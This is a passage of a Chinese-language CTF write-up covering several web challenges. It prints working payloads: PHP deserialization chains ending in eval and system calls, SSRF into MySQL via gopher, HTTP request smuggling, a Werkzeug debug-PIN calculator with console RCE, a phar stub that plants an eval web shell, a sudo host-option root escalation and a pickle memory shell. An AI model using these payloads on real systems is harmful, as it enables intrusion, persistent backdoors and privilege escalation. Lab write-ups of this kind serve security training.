        $this -> Xianggu -> Bailuobo = $this -> Jinzhengu;
    }
}
class Huluobo{
    public $HuLuoBo;
    public function __set($key,$arg){
        echo "Nice Huluobo!</br>";
        eval($arg);
    }
}

$a = new Wuhuarou();
$b = new Fentiao();
$c = new Baicai();
$d = new Wanzi();
$e = new Xianggu($f);
$f = new Huluobo();
//$f -> __set("HuLuoBo","system('ls');");

$a -> Wuhuarou = $b;   //tostring
$b -> Fentiao = $c;    //get
$c -> Baicai = $d;     //invoke
$d -> Wanzi = $e;      //call
$e -> Xianggu = $f;
$e -> Jinzhengu = "system('cat /flag');";  //set


echo serialize($a);

unserialize(serialize($a));

Week4

Path to Hero

知识点:php反序列化、md5、rce

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
highlight_file('index.php');

Class Start
{
    public $ishero;
    public $adventure;


    public function __wakeup(){

        if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {
            echo "<br>勇者啊,去寻找利刃吧<br>";

            return $this->adventure->sword;
        }
        else{
            echo "前方的区域以后再来探索吧!<br>";
        }
    }
}

class Sword
{
    public $test1;
    public $test2;
    public $go;

    public function __get($name)
    {
        if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {
            echo "沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>";
            echo $this->go;
        } else {
            echo "Dead";
        }
    }
}

class Mon3tr
{
    private $result;
    public $end;

    public function __toString()
    {
        $result = new Treasure();
        echo "到此为止了!魔王<br>";

        if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {
            $result->end($this->end);
        } else {
            echo "难道……要输了吗?<br>";
        }
        return "<br>";
    }
}

class Treasure
{
    public function __call($name, $arg)
    {
        echo "结束了?<br>";
        eval($arg[0]);
    }
}

if (isset($_POST["HERO"])) {
    unserialize($_POST["HERO"]);
}

链子简单,绕过简单,就是最后执行命令的的时候如何处理$arg[0]有些问题。

这里arg就是数组,指向的就是Mon3trend参数,waf不多再传个eval就行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
Class Start
{
    public $ishero;
    public $adventure;


    public function __wakeup(){

        if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {
            echo "<br>勇者啊,去寻找利刃吧<br>";

            return $this->adventure->sword;
        }
        else{
            echo "前方的区域以后再来探索吧!<br>";
        }
    }
}

class Sword
{
    public $test1;
    public $test2;
    public $go;

    public function __get($name)
    {
        if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {
            echo "沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>";
            echo $this->go;
        } else {
            echo "Dead";
        }
    }
}

class Mon3tr
{
    private $result;
    public $end;

    public function __toString()
    {
        $result = new Treasure();
        echo "到此为止了!魔王<br>";

        if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {
            $result->end($this->end);
        } else {
            echo "难道……要输了吗?<br>";
        }
        return "<br>";
    }
}

class Treasure
{
    public function __call($name, $arg)
    {
        echo "结束了?<br>";
        eval($arg[0]);
    }
}


$a = new Start();
$a->ishero = "%0ahero";
$a->adventure = new Sword();
$a->adventure->test1 = "QNKCDZO";
$a->adventure->test2 = "240610708";
$a->adventure->go = new Mon3tr();
$a->adventure->go->end = 'eval($_GET[0]);';

echo urlencode(serialize($a));

image-20251117200529208

android or apple

知识点:代码审计、ssrf打sql注入

www.zip获取源码,目录结构如下

image-20251117204729822

正好要训练代码审计的能力,这里练一下

首先是功能,首先是一个登入框,有安卓登入和苹果登入之分,仔细看看就能发现安卓登入的login.php根本没有成功登入的判断逻辑,也就是说安卓登入就是没用任何作用的。

然后是苹果登入,苹果登入会获取一个验证码,这个验证码是通过verify.php实现的。而这个文件中又有其他类的对象,所以这道题有点像java反序列化的链子。

继续看这个verify.php,可以发现他调用了generateAndDisplayCode这个函数,我们跟进看看

image-20251117205538680

可以看到在这个函数中创建了新的\Util\ImageProcessor()对象,并调用了fetch函数,另外还调用了saveAndDisplay()

image-20251117210537367

我们先直接跟进fetch函数,可以看到首先是url参数调用了getSourceUrl,然后是调用了$this->securityCheck($url);最后调用Request($url)返回值赋给$img,如果img不为空,就可以return这个参数

image-20251117211104056

然后逐一审计一下这几个代码,看到了个ssrf,然后后面Request里确实有关于ssrf的漏洞代码。这里就可以看到我们可以通过 $_SERVER['HTTP_X_VERIFY_CODE_URL']传入数据,这里就是入口可以控制url数据

image-20251117212929188

我们在http头里添加X_VERIFY_CODE_URL数据,就可以控制url了

我们尝试用dick协议探测一下,探测到了数据库

1
X-VERIFY-CODE-URL: dict://127.0.0.1:3306

image-20251117223647462

image-20251117223732295

所以,这里就可以用gopher协议打mysql(还没打过)用户是root,然后是你要执行的sql语句

image-20251117225036493

这里还需要去掉_就行,原因如下,也是一个小知识点,用curl的gopher协议需要_但是fsockopen不需要

image-20251117225143007

image-20251117225058781

1
select group_concat(table_name) from information_schema.tables where table_schema='ctf_db'

看到表名flags

image-20251117230715339

1
select group_concat(column_name) from information_schema.columns where table_name='flags'

列名也是flag,其实这一步都不需要,直接就行

1
select * from ctf_db.flags

waf?waf!

知识点:http请求走私

源码很长,慢慢审计。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
import socket
import threading
from urllib.parse import parse_qs, urlparse
from flask import Flask, request,render_template
import unicodedata

BLACKLIST_KEYWORDS = [                                                                                            
'write', 'eval', 'assert', 'read', 'exec', 'apply', 'locals', 'load_module', 'json.loads', 'urllib.request.urlopen', 'subprocess', 'threading', 'tempfile', 'run', 'yield', 'inspect', 'netrc', 'globals', 'os', 'urandom', 'register', 'breakpoint', 'environ', 'str.format_map', 'tarfile', 'traceback', 'open', 'listen', 'info_leak', 'vars', 'exec_hook',
'__import__', 'exec', 'eval', 'compile', 'open', 'input', 'raw_input', 'getattr', 'setattr', 'delattr', 'hasattr', 'globals', 'locals', 'vars', 'dir', 'help', 'license', 'copyright', 'credits', 'exit', 'quit', 'breakpoint', 'os', 'sys', 'subprocess', 'commands', 'popen', 'popen2', 'popen3', 'popen4', 'system',
'popen', 'spawn', 'fork', 'execve', 'execl', 'execle', 'execlp', 'execlpe', 'execv', 'execve', 'execvp', 'execvpe', 'startfile', 'remove', 'unlink', 'rmdir', 'mkdir', 'chdir', 'chmod', 'chown', 'rename', 'replace', 'walk', 'listdir', 'stat', 'fstat', 'lstat', 'getenv', 'putenv', 'environ', 'system',
'urandom', 'socket', 'urllib', 'urllib2', 'requests', 'http', 'ftplib', 'smtplib', 'socketserver', 'http.server', 'xmlrpc', 'jsonrpc', 'pickle', 'marshal', 'load', 'loads', 'dump', 'dumps', 'class', 'base',  'mro', '__subclasses__', '__dict__', '__globals__',
'__builtins__', '__getattribute__', '__getattr__', '__setattr__', '__delattr__', '__code__', '__closure__', '__func__', '__self__', '__module__', '__name__', '__qualname__', '__file__', '__loader__', '__spec__', '__package__', '__doc__', '__annotations__', '__kwdefaults__',
'__defaults__', '()', '[]', '{}', '.', 'lambda', 'yield', 'from', 'import', 'True.__class__', '"".__class__', '0.__class__', '().__class__', '[].__class__', '{}.__class__',  'pathlib', 'shutil', 'tempfile', 'glob', 'zipfile', 'tarfile', 'inspect', 'dis', 'types', 'imp',
'importlib', 'pkgutil', 'site', 'builtins', '__builtin__', 'main', '__main__', 'chr', 'ord', 'hex', 'oct', 'bin', 'repr', 'ascii', 'eval', 'exec', 'compile', 'memoryview', 'bytearray', 'bytes', 'str', 'int', 'float', '().__class__.__base__', '().__class__.__mro__',
'().__class__.__subclasses__', '().__class__.__init__', '().__class__.__dict__', '().__class__.__getattribute__', '().__class__.__bases__[0].__subclasses__()', 'del', 'global', 'nonlocal', 'assert', 'with', 'as', 'try', 'except', 'finally', 'raise', 'import', 'from', 'while', 'for', 'if',
'else', 'elif', 'def', 'class', 'return', 'yield', 'await', 'async', 'print', 'format', 'input', 'id', 'type', 'isinstance', 'issubclass', 'pickle.loads', 'marshal.loads', 'yaml.load', 'json.loads', 'evaljs', 'execjs', 'shell', 'run', 'call', 'check_output', 'Popen',
'check_call', 'getoutput', 'getstatusoutput', "url","config","read","sub","get",'\\x', '\\u', '\\U', '\\N', '\\', 'encode', 'decode', 'replace', 'join', 'split', 'format', 'translate', 'maketrans', 'getattr(', 'vars(', 'locals(', 'globals(', 'dir(', 'eval(', 'exec(', 'compile(', 'open(', '__import__(',
'().__', '"".__', '0.__', '().__class__(', '[].__class__(', '{}.__class__(', '_', '{', '}', '[', ']', '(', ')', '=', '<', '>', ':', ';', ',', '"', "'", '\\', '|', '`', '~', '!', '@', '#', '$', '%', '^', '&',  '?', 
'\n', '\r', '\t', '\f', '\v', '\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\x0b', '\x0c', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f',
'\u200b', '\u200c', '\u200d', '\u200e', '\u200f', '\u202a', '\u202b', '\u202c', '\u202d', '\u202e', '\u2060', '\u2061', '\u2062', '\u2063', '\u2064', '\ufeff', '\\x', '\\u', '\\U', '\\N{', '0x', '0o', '0b', '%', 'f"', "f'", 'b"', "b'", 'r"', "r'",  ' ', '.', '__',
'#', '--', '/*', '*/', '//', ';--', ';#', '\\v', '\\t', '\\r', '\\n', '\\b', '\\a', '\\f','ev', 'ex', 'ch', 'ge', 'b6', 'un', 'co', '__b', '__g', '__s', '__d', '__m', '__c'
]


def to_halfwidth(s):
    s = unicodedata.normalize('NFKC', s)
    result = []
    for char in s:
        code = ord(char)
        if 0xFF21 <= code <= 0xFF3A:
            result.append(chr(code - 0xFF21 + 0x41))
        elif 0xFF41 <= code <= 0xFF5A:
            result.append(chr(code - 0xFF41 + 0x61))
        elif 0xFF10 <= code <= 0xFF19:
            result.append(chr(code - 0xFF10 + 0x30))
        elif code in {0xFF08, 0xFF5F}:
            result.append('(')
        elif code in {0xFF09, 0xFF60}:
            result.append(')')
        elif code == 0xFF3B:
            result.append('[')
        elif code == 0xFF3D:
            result.append(']')
        elif code == 0xFF5B:
            result.append('{')
        elif code == 0xFF5D:
            result.append('}')
        elif code == 0xFF01:
            result.append('!')
        elif code == 0xFF0C:
            result.append(',')
        elif code == 0xFF1B:
            result.append(';')
        elif code == 0xFF1A:
            result.append(':')
        elif code in {0x3002, 0xFF0E}:
            result.append('.')
        elif code == 0xFF1F:
            result.append('?')
        elif code == 0xFF0F:
            result.append('/')
        elif code == 0xFF02:
            result.append('"')
        elif code == 0xFF07:
            result.append("'")
        else:
            result.append(char)
    return ''.join(result)

def parse_headers(headers):
    header_dict = {}
    for line in headers:
        if ':' in line:
            key, value = line.split(':', 1)
            header_dict[key.strip().lower()] = value.strip()
    return header_dict

def check_params_for_secret(params):
    for key, values in params.items():
        for value in values:
            value_normalized = to_halfwidth(value).lower()
            for keyword in BLACKLIST_KEYWORDS:
                if keyword in value_normalized:
                    return True
    return False

def handle_client(client_socket):
    TIMEOUT_SECONDS = 5

    try:
        client_socket.settimeout(TIMEOUT_SECONDS)

        request_data = b""
        header_end_idx = -1
        while header_end_idx == -1:
            chunk = client_socket.recv(4096)
            if not chunk:
                client_socket.close()
                return
            request_data += chunk
            header_end_idx = request_data.find(b'\r\n\r\n')

        try:
            header_end_idx = request_data.find(b'\r\n\r\n')
            if header_end_idx == -1:
                raise ValueError("Malformed request")

            header_bytes = request_data[:header_end_idx]
            headers_raw = header_bytes.decode('utf-8', errors='ignore').split('\r\n')
            request_line = headers_raw[0]
            method, path, version = request_line.split(maxsplit=2)
        except Exception:
            client_socket.close()
            return

        headers = parse_headers(headers_raw[1:])
        url_parts = urlparse(path)
        query_params = parse_qs(url_parts.query)
        has_secret = check_params_for_secret(query_params)

        if method.upper() == 'POST':
            content_length = int(headers.get('content-length', '0'))
            transfer_encoding = headers.get('transfer-encoding', '').lower().strip()

            body_start = header_end_idx + 4
            body_data = request_data[body_start:] if len(request_data) > body_start else b''

            if transfer_encoding:
                body_buffer = b""
                remaining_data = body_data

                while True:
                    if b'\r\n' not in remaining_data:
                        more = client_socket.recv(4096)
                        if not more:
                            break
                        remaining_data += more
                        continue

                    size_line, rest = remaining_data.split(b'\r\n', 1)
                    try:
                        chunk_size = int(size_line.strip(), 16)
                    except ValueError:
                        break

                    if chunk_size == 0:
                        if rest.startswith(b'\r\n'):
                            break
                        else:
                            while len(rest) < 2:
                                more = client_socket.recv(4096)
                                if not more:
                                    break
                                rest += more
                            if rest.startswith(b'\r\n'):
                                break
                            else:
                                break

                    needed = chunk_size + 2
                    while len(rest) < needed:
                        more = client_socket.recv(min(4096, needed - len(rest)))
                        if not more:
                            break
                        rest += more

                    chunk_data = rest[:chunk_size]
                    body_buffer += chunk_data
                    remaining_data = rest[chunk_size + 2:]

                body_str = body_buffer.decode('utf-8', errors='ignore')
                post_params = parse_qs(body_str)
                has_secret = has_secret or check_params_for_secret(post_params)

            elif content_length > 0:
                while len(body_data) < content_length:
                    chunk = client_socket.recv(min(4096, content_length - len(body_data)))
                    if not chunk:
                        break
                    body_data += chunk

                try:
                    body_str = body_data.decode('utf-8', errors='ignore')
                    post_params = parse_qs(body_str)
                    has_secret = has_secret or check_params_for_secret(post_params)
                except Exception:
                    pass

        if has_secret:
            response = (
                "HTTP/1.1 403 Forbidden\r\n"
                "Content-Type: text/plain\r\n"
                "Connection: close\r\n"
                "\r\n"
                "We are all just trying our best to live"
            )
            client_socket.send(response.encode())
            client_socket.close()
            return

        try:
            backend_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            backend_socket.settimeout(TIMEOUT_SECONDS)
            backend_socket.connect(('localhost', 3001))
            backend_socket.sendall(request_data)

            while True:
                response_chunk = backend_socket.recv(4096)
                if not response_chunk:
                    break
                client_socket.sendall(response_chunk)

            backend_socket.close()
        except socket.timeout:
            response = (
                "HTTP/1.1 504 Gateway Timeout\r\n"
                "Content-Type: text/plain\r\n"
                "Connection: close\r\n"
                "\r\n"
                "Did not respond in time"
            )
            client_socket.send(response.encode())
            client_socket.close()
            return
        except Exception:
            pass

        client_socket.close()

    except socket.timeout:
        try:
            response = (
                "HTTP/1.1 408 Request Timeout\r\n"
                "Content-Type: text/plain\r\n"
                "Connection: close\r\n"
                "\r\n"
                "timeout"
            )
            client_socket.send(response.encode())
        except:
            pass
        finally:
            client_socket.close()
            return

    except Exception:
        try:
            client_socket.close()
        except:
            pass

def start_flask_server():
    app = Flask(__name__)


    @app.route('/calc', methods=['POST'])
    def index():
        try:
            exp = request.form.get('calc')
            if(exp!=None):
                result = eval(exp)
                return str(result)
            else:
                return "no num to calc"
        except:
            return "I'm just a calc, I could not process this"
        
    @app.route('/', methods=['GET'])
    def home():
        return render_template('index.html')
    import logging
    log = logging.getLogger('werkzeug')
    log.setLevel(logging.ERROR)

    app.run(host='127.0.0.1', port=3001, debug=False)

def main():
    flask_thread = threading.Thread(target=start_flask_server, daemon=True)
    flask_thread.start()

    import time
    time.sleep(1)

    proxy_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    proxy_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    proxy_socket.bind(('0.0.0.0', 8000))
    proxy_socket.listen(5)

    while True:
        client_socket, addr = proxy_socket.accept()
        client_handler = threading.Thread(target=handle_client, args=(client_socket,))
        client_handler.start()

if __name__ == "__main__":
    main()

waf很多,漏洞点在/calc路由里有一个eval,但是wa非常非常多。不是一般人绕的

预期解也不是死命绕waf

首先我们看到源码里实现了一个代理服务器,只有为post的时候才会往后走,然后是处理CL和TE两个头

image-20251118211252400

关于content-length和transfer-encoding的作用都是告诉服务器请求到哪里结束用的,可以看到这里代理服务器会对TE特殊处理,就算有问题也会转发出去。但是flask并不知道TE,这里就产生了http请求走私

image-20251118211704218

可以知道只要存在transfer-encoding这个http头,中间转发时都会body的数据当初transfer-encoding:chunked 处理,而flask只有transfer-encoding:chunked时才会做chunked的解析,其他情况都会当初普通的POST处理

所以我们设置TE=1,而且这个代码解析TE时会把0视作数据停止的标志,所以这里直接加个0,然后后面加个&用于传递其他参数

1
2
3
4
5
Transfer-Encoding: xxx
Content-Length: 48

0
&calc= _ import _ ("os").popen("whoami").read()

可能是环境的原因,我尝试了很多次都是错的,这里就先跳过了。

好像什么都能读

知识点:flask pin码计算

可以直接读到/etc/passwd,尝试能不能读源码

直接读/app/app.py是没用的会报错,但是观察报错,是可以发现有源码路径的

image-20251120084913461

尝试读取成功

1
../../home/ctf/app/app.py

image-20251120084524541

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask, request, render_template

app = Flask(__name__)

@app.route('/')
def hello_world():
    return render_template('index.html')

@app.route('/read')
def read():
    # 获取请求参数中的文件名
    filename = request.args.get('filename')
    if not filename:
        return "需要提供文件名", 400
    with open(filename, 'r') as file:
            content = file.read()
    return content, 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

源码非常的简洁,没有什么其他的功能逻辑,结合提示说要我们计算什么东西

经过搜索可以发现在Flask的调试模式下,Werkzeug会生成一个PIN码,用于保护调试控制台的访问。

生成pin码需要

1
2
3
4
5
6
7
8
username,用户名                            //读取/etc/passwd
modname,默认值为flask.app                  
appname,默认值为Flask
moddir,flask库下app.py的绝对路径            //文件所在路径,一般可以通过查看debug报错信息获得
uuidnode,当前网络的mac地址的十进制数         //读取/sys/class/net/eth0/address  转换成十进制
machine_id,docker机器id

//每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,在docker环境下读取后两个,非docker环境三个都需要读取

都可以通过文件读取读出来

moddir

image-20251120093433628

uuidnode

image-20251120093539457

image-20251120093728355

machine_id

image-20251120093838533

计算pin码的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import hashlib
from itertools import chain
import time

# 公钥部分(需要根据目标环境修改)
probably_public_bits = [
    'ctf',  # 运行Flask的用户名
    'flask.app',  # 应用名称
    'Flask',  # 框架类名
    '/home/ctf/.local/lib/python3.13/site-packages/flask/app.py'  # Flask库的路径,需根据目标环境修改
]

# 私钥部分(由MAC地址和启动ID组成)
# 这里需要填入实际的MAC地址和启动ID
mac = '227319669631270' 
boot_id = '7ef29fa7-8a40-4624-a609-946e8d285ff8' 
private_bits = [
    mac,
    boot_id
]

def hash_pin(pin: str) -> str:
    """计算PIN码的哈希值,用于生成cookie值"""
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]

def get_pin_and_cookie(probably_public_bits, private_bits):
    # 使用SHA1哈希算法
    h = hashlib.sha1()
    
    # 合并公钥和私钥部分并更新哈希
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        # 如果是字符串则转为UTF-8编码的字节流
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    
    # 添加cookiesalt到哈希计算
    h.update(b'cookiesalt')
    
    # 生成cookie名称
    cookie_name = '__wzd' + h.hexdigest()[:20]
    
    # 计算PIN码数字部分
    h.update(b'pinsalt')
    # 将哈希结果转为整数并取前9位
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
    
    # 格式化PIN码为分组形式(如xxxxx-xxxx-xxx)
    rv = None
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(
                num[x:x + group_size].rjust(group_size, '0')
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num
    
    # 生成完整的cookie值(时间戳|哈希值)
    current_time = int(time.time())
    cookie_value = f"{current_time}|{hash_pin(rv)}"
    
    return rv, cookie_name, cookie_value


if __name__ == '__main__':
    # 获取PIN码和cookie信息
    pin, cookie_name, cookie_value = get_pin_and_cookie(probably_public_bits, private_bits)
    
    # 打印生成的信息
    print(f"Generated Flask PIN: {pin}")
    print(f"Cookie Name: {cookie_name}")
    print(f"Cookie Value: {cookie_value}")
    print(f"完整Cookie (可直接用于请求): {cookie_name}={cookie_value}")
    
    # 兼容原脚本的输出格式
    print(f"\n兼容输出格式:")
    print(pin)
    print(f"{cookie_name}={cookie_value}")

有这个cookie我们还需要两个参数,frm和s,这里frm直接置为0,s的话需要获取一下

image-20251120094742346

获取s通过访问/console,这里需要用回环地址

yakit这么发就发不到,还是bp厉害

image-20251120100537953

最后带上cookie执行命令

1
2
3
/console?__debugger__=yes&cmd=__import__(%27os%27).popen(%27cat%20/fl*%27).read()&frm=0&s=Ng7zE4Qz3L7sumwL9Ius

cookie: __wzdc0d0bff00be4f53effea=1763605329|787cd4fb4238

image-20251120102427875

来getshell 速度!

知识点:include解析恶意phar,sudo提权汇总

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
error_reporting(0);

$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
    'application/zip',
    'application/x-bzip2',
    'application/gzip',
    'application/x-gzip',
    'application/x-xz',
    'application/x-7z-compressed',
];


function filter($tempfile)
{
    $data = file_get_contents($tempfile);
    if (
        stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false ||
        stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false
    ) {
        return true;
    }
    return false;
}

if ($_SERVER["REQUEST_METHOD"] == 'POST') {
    if (is_uploaded_file($_FILES['file']['tmp_name'])) {
        if (filter($_FILES['file']['tmp_name']) || !isset($_FILES['file']['name'])) {
            die("Nope :<");
        }

        // mimetype check
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
        finfo_close($finfo);

        if (!in_array($mime_type, $allowed_mime_types)) {
            die('unexpected mimetype');
        }

        // ext check
        $ext = strtolower(pathinfo(basename($_FILES['file']['name']), PATHINFO_EXTENSION));

        if (!in_array($ext, $allowed_extensions)) {
            die('unexpected extension');
        }

        if (move_uploaded_file($_FILES['file']['tmp_name'], "/tmp/" . basename($_FILES['file']['name']))) {
            echo "File upload success!Please include with 'url'";
        }else{
            echo "fail";
        }     
    }
}

if (isset($_GET['url'])) {
    
$include_url = basename($_GET['url']);


if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
    die("unexpected extension");
}

include '/tmp/' . $include_url;
exit;
}
?>
<form enctype='multipart/form-data' method='post'>
    <input type='file' name='file'>
    <input type="submit" value="upload"></p>
</form>

只能传压缩包文件,很自然的就想到了phar压缩gz绕过,然后include解析时写马

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
$phar = new Phar('exp.phar');
$phar->compressFiles(Phar::GZ);
$phar->startBuffering();   //马写在stub里面
$stub = <<<'STUB'
<?php
$filename="/var/www/html/2.php";
$content="<?php eval(\$_POST[1]);?>";
file_put_contents($filename, $content);
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
$fp = gzopen("exp.phar.gz", 'w9');
gzwrite($fp, file_get_contents("exp.phar"));
gzclose($fp);
?>
1
2
3
?url=exp.phar.gz

用include解析写马

写马成功

image-20251120110622378

但是读不到flag,估计是权限问题,尝试sudo提权

Linux提权-利用sudo提权超级无敌大汇总 - Jimi’s blog

先看看自己的权限,其实前面也有

image-20251120112455840

非常低,接下来看看sudo的版本

image-20251120112530036

1.8.23存在漏洞

  1. 漏洞名称:Linux sudo host 权限提升漏洞
  2. CVE 编号CVE-2025-32462
  3. 影响版本:sudo 版本 1.9.0 <= sudo <= 1.9.17 或 1.8.8 <= sudo <= 1.8.32
  4. 漏洞原理:sudo 的 - h(–host)选项错误地将远程主机的权限规则应用到本地系统,导致本地低权限用户可通过指定允许的远程主机名,绕过本地权限限制,以 root 身份执行命令。

还需要知道远程主机是啥

1
cat /etc/sudoers

image-20251120113757794

所以我们用-h参数指定asd.asd.asd远程虚拟主机执行我们的命令。这里还需要保证www-data asd.asd.asd = NOPASSWD:ALL

最后

1
sudo -h asd.asd.asd cat /flag

image-20251120114050709

这又又是什么函数

知识点:pickle内存马

/src获取源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

from flask import Flask, request, render_template
import pickle
import base64

app = Flask(__name__)

PICKLE_BLACKLIST = [
    b'eval',
    b'os',
    b'x80',
    b'before',
    b'after',
]
@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template('index.html')

@app.route('/src', methods=['GET', 'POST'])
def src():
    return open(__file__, encoding="utf-8").read()

@app.route('/deser', methods=['GET', 'POST'])
def deser():
    a = request.form.get('a')
    if not a:
        return "fail"
    
    try:
        decoded_data = base64.b64decode(a)
        print(decoded_data)
    except: 
        return "fail"
    
    for forbidden in PICKLE_BLACKLIST:
        if forbidden in decoded_data:
            return "waf"
    try:
        result = pickle.loads(decoded_data)
        return "done"
    except:
        return "fail"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

一眼pickle反序列化,直接打内存马,os被waf了,绕过一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('o'+'s').popen(request.args.get('cmd')).read()",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

image-20251120144457720

一开始我还纳闷怎么反弹shell弹不上去,才意识到是不出网的环境

ez_Ref

知识点:java反序列化、FastJson绕过resolveclass

java题,有源码直接用idea反编译一手,定位到serlvet,看看主要逻辑

image-20251120145718204

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

package org.example.ez_java.ez_ref.controll;

import java.io.ByteArrayInputStream;
import java.io.EOFException;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.web.bind.MissingServletRequestParameterException;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class User {
    public User() {
    }

    @RequestMapping({"/"})
    public String index() {
        return "Hello ctfer";
    }

    @RequestMapping({"/ez_Ref"})
    public String Refer(@RequestParam String data) {
        if (data == null) {
            return "必须携带data参数";
        } else {
            try {
                byte[] decode = Base64.getDecoder().decode(data);
                ByteArrayInputStream bis = new ByteArrayInputStream(decode);
                ObjectInputStream ois = new ObjectInputStream(bis);
                String name = ois.readUTF();
                int year = ois.readInt();
                if (name.equals("Ref") && year == 2025) {
                    Object var7 = ois.readObject();
                    ois.close();
                    return "ok";
                } else {
                    return "something";
                }
            } catch (Exception var8) {
                if (var8 instanceof InvalidClassException) {
                    return var8.getMessage();
                } else if (var8 instanceof MissingServletRequestParameterException) {
                    return "请提交一个data参数";
                } else if (var8 instanceof IllegalArgumentException) {
                    return "data 参数不合法";
                } else {
                    return var8 instanceof EOFException ? "something" : "exception";
                }
            }
        }
    }
}

